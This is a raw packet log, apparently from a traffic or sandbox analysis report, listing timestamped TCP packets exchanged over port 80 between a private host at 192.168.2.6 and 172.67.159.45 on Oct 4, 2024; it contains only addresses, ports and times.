Oct 4, 2024 04:28:05.141387939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.141398907 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.141408920 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.141460896 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.141464949 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.141475916 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.141484976 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.141494989 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.141505003 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.141505957 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.141540051 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.141874075 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.141917944 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.141921997 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.141932964 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.141963005 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.142002106 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.142013073 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.142023087 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.142054081 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.142065048 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.142134905 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.142144918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.142154932 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.142163992 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.142174006 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.142177105 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.142196894 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.142251015 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.142291069 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.142301083 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.142333031 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.142841101 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.142852068 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.142862082 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.142873049 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.142884970 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.142904043 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.142956972 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.142967939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.142978907 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.142987967 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.143001080 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.143026114 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.143429041 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.143444061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.143451929 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.143460989 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.143471003 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.143480062 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.143482924 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.143488884 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.143513918 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.143529892 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.143810987 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.143826008 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.143834114 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.143867016 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.143923044 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.143932104 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.143946886 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.143955946 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.143965960 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144053936 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.144071102 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144081116 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144089937 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144098997 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144124031 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.144140005 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.144257069 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144267082 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144274950 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144284964 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144294024 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144303083 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.144331932 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.144342899 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144351959 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144361019 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144368887 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144378901 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144381046 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.144406080 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.144428968 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.144490004 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144499063 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144506931 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144516945 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144526005 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144526958 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.144558907 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.144731998 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144741058 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144750118 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144758940 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144768000 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144778013 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144784927 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.144788027 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144795895 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144804955 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144807100 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.144814014 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144824028 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144830942 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.144846916 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.144874096 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.144907951 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144953012 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.144977093 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144985914 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.144994020 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.145003080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.145011902 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.145019054 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.145047903 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.145134926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.145144939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.145153046 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.145162106 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.145175934 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.145183086 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.145186901 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.145198107 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.145216942 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.145242929 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.145339012 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.145348072 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.145356894 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.145365953 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.145375013 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.145384073 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.145384073 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.145395041 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.145407915 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.145426035 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.145450115 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.146426916 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.146462917 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.146471977 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.146472931 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.146503925 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.146527052 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.146536112 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.146543980 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.146553040 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.146560907 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.146570921 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.146593094 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.146614075 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.226875067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.226921082 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.226932049 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.226991892 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.226990938 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.227004051 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.227015972 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.227022886 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.227026939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.227061987 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.227089882 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.227237940 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.227253914 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.227264881 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.227276087 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.227302074 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.227327108 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.227335930 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.227338076 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.227374077 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.227421999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.229635954 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.233812094 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.233830929 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.233839989 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.233851910 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.233867884 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.233877897 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.233889103 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.233908892 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.233939886 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.233946085 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.233954906 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.233995914 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.234234095 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.234251976 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.234261990 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.234282017 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.234306097 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.234317064 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.234328985 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.234338999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.234352112 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.234371901 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.234375000 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.234395981 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.234422922 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.234426022 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.234433889 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.234445095 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.234463930 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.234477997 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.234483004 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.234489918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.234513044 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.234523058 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.234529018 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.234550953 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.235389948 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.235440016 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.235451937 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.235461950 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.235502958 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.235515118 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.235527039 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.235531092 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.235544920 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.235553980 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.235568047 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.235605955 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.235620022 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.235635042 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.235645056 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.235656023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.235661030 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.235682011 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.235691071 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.235701084 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.235711098 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.235752106 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.236330986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236365080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236375093 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236385107 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.236417055 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.236442089 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236452103 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236462116 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236471891 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236481905 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236490965 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.236491919 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236514091 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.236535072 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.236596107 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236608028 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236618042 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236629009 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236639977 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236643076 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.236651897 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236676931 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236682892 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.236687899 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236697912 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236706018 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.236735106 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236745119 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236752033 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.236790895 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.236819029 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236829996 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236840010 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236849070 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236860037 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236870050 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.236870050 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.236895084 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.236916065 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.237026930 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237036943 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237046957 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237056971 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237066984 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237078905 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.237086058 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237096071 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237104893 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237114906 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237117052 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.237126112 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237135887 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237145901 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237149954 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.237171888 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.237198114 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.237207890 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237219095 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237227917 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237238884 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237250090 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237279892 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237288952 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.237289906 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237301111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237310886 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237325907 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.237355947 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.237418890 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237432957 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237442970 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237453938 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237464905 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237469912 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.237474918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237485886 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237510920 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.237533092 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.237535000 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237550974 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237560987 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237571001 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237576962 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.237581968 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237591028 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237602949 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.237602949 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237643957 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.237672091 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237680912 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.237720013 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.238992929 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.239003897 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.239013910 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.239047050 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.239068031 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.239078045 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.239078045 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.239089966 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.239099979 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.239109039 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.239140034 CEST	49740	80	192.168.2.6	172.67.159.45
